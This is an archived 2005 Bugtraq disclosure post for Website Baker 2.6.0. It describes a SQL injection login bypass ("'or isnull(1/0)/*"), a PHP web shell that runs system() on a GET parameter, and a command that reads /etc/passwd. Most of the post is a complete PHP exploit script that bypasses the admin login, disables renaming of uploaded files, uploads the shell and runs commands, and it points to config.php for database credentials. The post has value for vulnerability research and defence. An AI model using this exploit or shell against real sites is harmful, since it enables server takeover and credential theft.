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Message-ID: <20051208084610.21007.qmail@securityfocus.com>
Date: 8 Dec 2005 08:46:10 -0000
From: retrogod@...ceposta.it
To: bugtraq@...urityfocus.com
Subject: Website Baker <=2.6.0 SQL Injection -> Login bypass -> remote
code execution
Website Baker <=2.6.0 SQL Injection -> Login bypass -> remote code execution
software:
site: http://www.websitebaker.org/2/home/
description: "Website Baker 2, the Open Source Content Management System
designed to enable users to produce websites with ease."
if magic_quotes_gpc off you can bypass admin login check and grant access
to administrative area, poc:
switch to:
http://[target]/[path_to_wb]/admin/
and login with:
user: 'or isnull(1/0)/*
pass: [whatever]
now you can go to "Media" menu and upload a cmd.php file with this code inside:
<?php echo "Hi Master!";error_reporting(0);ini_set("max_execution_time",0);system($_GET[cmd]);?>
(on newer versions, by default, .php .asp .phpx .aspx files are renamed as .php.txt .asp.txt etc.
but you can go to "Settings" menu, switch to advanced options and disable this feature for php
files - it seems you can not leave "rename files on upload" field empty,a bug?, type just
something - also you can modify permissions for "media" folder)
now you can launch commands:
http://[target]/[path_to_wb]/media/cmd.php?cmd=cat%20/etc/passwd
this is poc exploit:
<?php
# ---wbaker_260_xpl.php 19.42 02/12/2005 #
# #
# Website Baker 2.6.0 Login Bypass / remote commands execution #
# coded by rgod #
# site: http://rgod.altervista.org #
# #
# -> this works with magic_quotes_gpc off #
# #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# Sun Tzu: "The control of a large force is the same principle as the control #
# of a few men: it is merely a question of dividing up their numbers." #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<html><head><title>Website Baker <=2.6.0 Login Bypass/remote cmmnds xction
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
Website Baker <=2.6.0 Login Bypass/remote cmmnds xction </p><p class="Stile6">a
script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input
type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/wbaker/ or just / ) </span></p><p><input type="text" name="command"> <span
class="Stile5"> * specify a command ( "cat ./../config.php" to see database
username & password </span> </p> <p> <input type="text" name="port">
<span class="Stile5">specify a port other than 80 ( default value )</span>
</p><p><input type="text" name="proxy"><span class="Stile5"> send exploit
through an HTTP proxy (ip:port)</span></p><p><input type="submit" name="Submit"
value="go!"></p></form> </td></tr></table></body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host);
die; }
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$command=$_POST[command];
$proxy=$_POST[proxy];
if (($host<>'') and ($path<>'') and ($command<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);
#STEP 1 -> if magic_quotes_gpc off -> Login bypass
$SQL="'or isnull(1/0)/*";
$SQL=urlencode($SQL);
$data="url=&username_fieldname=username&password_fieldname=password&username=".$SQL;
$data.="&password=suntzu&submit=Login";
$packet="POST ".$p."admin/login/index.php HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.":".$port.$path."admin/login/index.php\r\n";
$packet.="Accept-Language: ru\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: AmfibiBOT\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
if (eregi("Location:",$html)) {echo "Exploit succeeded...-> next step...";}
else {echo "Exploit failed...";die;}
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$COOKIE=$temp2[0];
echo '<br>Your cookie: '.htmlentities($COOKIE);
#STEP 2 -> modify settings to not rename .php files when uploaded
$data="world_writeable=true&operating_system=linux&file_u_r=true&file_u_w=true&file_u_e=true";
$data.="&file_g_r=true&file_g_w=true&file_g_e=true";
$data.="&file_o_r=true&file_o_w=true&file_o_e=true";
$data.="&dir_u_r=true&dir_u_w=true&dir_u_e=true";
$data.="&dir_g_r=true&dir_g_w=true&dir_g_e=true";
$data.="&dir_o_r=true&dir_o_w=true&dir_o_e=true";
$data.="&rename_files_on_upload=php3&submit=Save";
$packet="POST ".$p."admin/settings/save.php HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.":".$port.$path."admin/settings/index.php?advanced=yes\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: Googlebot-Image/1.0 ( http://www.googlebot.com/bot.html)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$COOKIE."\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
#STEP 3 -> Upload a shell...
$data='-----------------------------7d51ed6470314
Content-Disposition: form-data; name="target"
/media
-----------------------------7d51ed6470314
Content-Disposition: form-data; name="submit"
Upload Fil(er)
-----------------------------7d51ed6470314
Content-Disposition: form-data; name="file1"; filename="suntzu.php"
Content-Type:
<?php echo "Hi Master!";error_reporting(0);ini_set("max_execution_time",0);system($_GET[cmd]);?>
-----------------------------7d51ed6470314
Content-Disposition: form-data; name="file2"; filename=""
Content-Type: application/octet-stream
-----------------------------7d51ed6470314
Content-Disposition: form-data; name="file3"; filename=""
Content-Type: application/octet-stream
-----------------------------7d51ed6470314
Content-Disposition: form-data; name="file4"; filename=""
Content-Type: application/octet-stream
-----------------------------7d51ed6470314
Content-Disposition: form-data; name="file5"; filename=""
Content-Type: application/octet-stream
-----------------------------7d51ed6470314
Content-Disposition: form-data; name="file6"; filename=""
Content-Type: application/octet-stream
-----------------------------7d51ed6470314
Content-Disposition: form-data; name="file7"; filename=""
Content-Type: application/octet-stream
-----------------------------7d51ed6470314
Content-Disposition: form-data; name="file8"; filename=""
Content-Type: application/octet-stream
-----------------------------7d51ed6470314
Content-Disposition: form-data; name="file9"; filename=""
Content-Type: application/octet-stream
-----------------------------7d51ed6470314
Content-Disposition: form-data; name="file10"; filename=""
Content-Type: application/octet-stream
-----------------------------7d51ed6470314--';
$packet="POST ".$p."admin/media/upload.php HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.":".$port.$path."admin/media/index.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d51ed6470314\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Fast PartnerSite Crawler\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$COOKIE."\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
#STEP 4 -> Launch commands...
$packet="GET ".$p."media/suntzu.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: BigBrother/1.6e\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master",$html)) {echo "Exploit fully succeeded...";}
else {echo "If you are here SQL injection succeeded, but for some reason failed to upload the shell";}
}
else {echo "Fill * required fields, optionally specify a proxy..."; }
?>
rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/wbaker_260_xpl.html
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